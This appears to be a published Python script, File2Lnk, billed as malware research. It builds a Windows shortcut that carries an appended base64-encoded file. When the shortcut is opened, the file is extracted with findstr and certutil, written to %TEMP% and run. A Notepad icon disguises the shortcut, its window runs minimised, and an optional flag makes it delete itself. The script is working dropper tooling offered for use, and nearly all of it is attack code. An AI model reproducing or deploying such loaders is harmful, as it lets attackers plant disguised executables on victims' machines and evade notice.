Generate a Microsoft Windows Shortcut and inject a file inside of it. When the shortcut is executed, the file is extracted and executed.

file2lnk.py

#-------------------------------------------------------------------------------
# PHROZEN SAS (c) 2018 - www.phrozen.io
# Jean-Pierre LESUEUR ([email protected])
#
# Name        : File2Lnk
# Description : File Binder (Wrapper) using Microsoft Windows Shortcuts (.LNK)
# Category    : Malware Research
# Version     : 0.1 (26/05/2018)
# Target OS   : Microsoft Windows (32/64 bit)
# License     : MIT
#
# Example of command:
# python -f c:\tmp\myfile.exe -o c:\tmp\myshortcut.lnk
#
# Requirements:
# pip install winshell
# pip install pypiwin32
#-------------------------------------------------------------------------------

import argparse
import winshell
import base64
import os

parser = argparse.ArgumentParser(description='File2Lnk')

parser.add_argument('-f', action="store", dest="inFile", metavar='in-file',  type=argparse.FileType('rb'), required=True, help="File to encode inside the shortcut.")
parser.add_argument('-o', action="store",  dest="outFile",  metavar='out-file', type=argparse.FileType('wt'), required=True, help="Output shortcut file.")
parser.add_argument('-m', action='store_true')

try:
    argv = parser.parse_args()
except IOError:
    parser.error()

# Encode payload in base64
with open(argv.inFile.name, argv.inFile.mode) as file:
        encoded_payload = base64.b64encode(file.read()).decode('ascii')

# Define shortcut command for payload extraction
flag = encoded_payload[:32]

shortcut_basename = os.path.basename(argv.outFile.name)
payload_basename = os.path.basename(argv.inFile.name)

encoded_file = "%TEMP%\\" + os.path.splitext(payload_basename)[0]
decoded_file = "%TEMP%\\" + payload_basename

melt = ""
if argv.m:
    melt = " & del " + shortcut_basename

command = 'findstr "' + flag + '" ' + shortcut_basename + '>' + encoded_file + \
          ' & certutil -decode ' + encoded_file + ' ' + decoded_file + \
          ' & start ' + decoded_file + melt + ' & exit'

# Create Shortcuts
with winshell.shortcut(argv.outFile.name) as shortcut:
    shortcut.description = "File to Shortcut PoC by Phrozen"
    shortcut.show_cmd = "min"
    shortcut.working_directory = "" # important, must be empty (Same location as shortcut)
    shortcut.path = "%COMSPEC%"
    shortcut.arguments = "/k \"" + command + "\""
    shortcut.icon_location = ("%windir%\\notepad.exe", 0)


# Finally append payload to generated shortcut
with open(argv.outFile.name, "a") as file:
    file.write("\n" + encoded_payload)